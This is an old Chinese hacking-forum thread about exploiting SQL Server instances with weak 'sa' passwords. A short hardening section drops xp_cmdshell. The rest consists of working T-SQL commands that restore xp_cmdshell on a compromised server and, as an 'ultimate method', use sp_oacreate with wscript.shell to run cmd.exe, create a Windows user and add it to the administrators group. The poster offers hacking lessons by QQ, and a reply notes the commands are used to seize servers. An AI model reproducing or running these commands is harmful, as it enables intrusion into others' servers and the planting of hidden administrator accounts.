sql查询分离器:利用SQL分离器实现sa弱口令

社区服务
高级搜索
猴岛论坛电脑百科sql查询分离器:利用SQL分离器实现sa弱口令
发帖 回复
倒序阅读 最近浏览的帖子最近浏览的版块
4个回复

sql查询分离器:利用SQL分离器实现sa弱口令

楼层直达
oooooooo_bao

ZxID:10709805

等级: 上尉
今 生 有 你 ,  别 无 她 求 

举报 只看楼主 使用道具 楼主   发表于: 2010-02-22 0
关于sa弱口令相关命令。
注:具体问题具体分析,以上方法仅供参考,不一定有效,相关原理知识请自行查找。
一.更改sa口令方法:
用sql综合利用工具连接后,执行命令:exec sp_password NULL,'新密码','sa'
(提示:慎用!)
二.简单修补sa弱口令:
方法1:查询分离器连接后执行:
if exists (select * from
dbo.sysobjects where id = object_id(N'[dbo].[xp_cmdshell]') and
OBJECTPROPERTY(id, N'IsExtendedProc') = 1)
exec sp_dropextendedproc N'[dbo].[xp_cmdshell]'
GO
然后按F5键命令执行完毕。
方法2:查询分离器连接后
第一步执行:use master,
第二步执行:sp_dropextendedproc 'xp_cmdshell',
然后按F5键命令执行完毕。

三.常见情况恢复执行xp_cmdshell:
1 未能找到存储过程'master..xpcmdshell'。
恢复方法:查询分离器连接后,
第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int,
第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll',
然后按F5键命令执行完毕。
2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一DLL。原因126(找不到指定模块。)
恢复方法:查询分离器连接后,
第一步执行:sp_dropextendedproc "xp_cmdshell",
第二步执行:sp_addextendedproc 'xp_cmdshell','xpsql70.dll'
然后按F5键命令执行完毕。
3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)
恢复方法:查询分离器连接后,
第一步执行:exec sp_dropextendedproc 'xp_cmdshell'
第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'
然后按F5键命令执行完毕。
四.终极方法:
如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:
查询分离器连接后,
2000servser系统:
declare @shell int exec sp_oacreate 'wscript.shell',@shell output
exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user 新用户 密码 /add'
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod
@shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators 新用户 /add'
xp或2003server系统:
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod
@shell,'run',null,'c:\windows\system32\cmd.exe /c net user 新用户 密码 /add'
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod
@shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 新用户 /add'
[img]http://qq.s8.hk/657[img]
oooooooo_bao

ZxID:10709805

等级: 上尉
今 生 有 你 ,  别 无 她 求 

举报 只看该作者 沙发   发表于: 2010-02-22 0
本人唯一QQ  838913090  想学黑客  或者不懂得  加QQ即可~
[img]http://qq.s8.hk/657[img]
゛蝣蕩啲龍っ

ZxID:7865773

等级: 元老
‘燕鸥’是种水鸟,听说,它们会从几千里外,飞回自己的家,而且,是‘情有独钟’,终身不换伴侣 ..

举报 只看该作者 板凳   发表于: 2010-02-22 0
sql  是数据库吧
泉丿丶

ZxID:1911077

等级: 中将
`Bs→ 装 B  ^_^ .

举报 只看该作者 地板   发表于: 2010-02-22 0
的确 抓服务器的时候 经常用到。
oooooooo_bao

ZxID:10709805

等级: 上尉
今 生 有 你 ,  别 无 她 求 

举报 只看该作者 4楼  发表于: 2010-02-22 0
,,  呵~ 
[img]http://qq.s8.hk/657[img]
« 返回列表
发帖 回复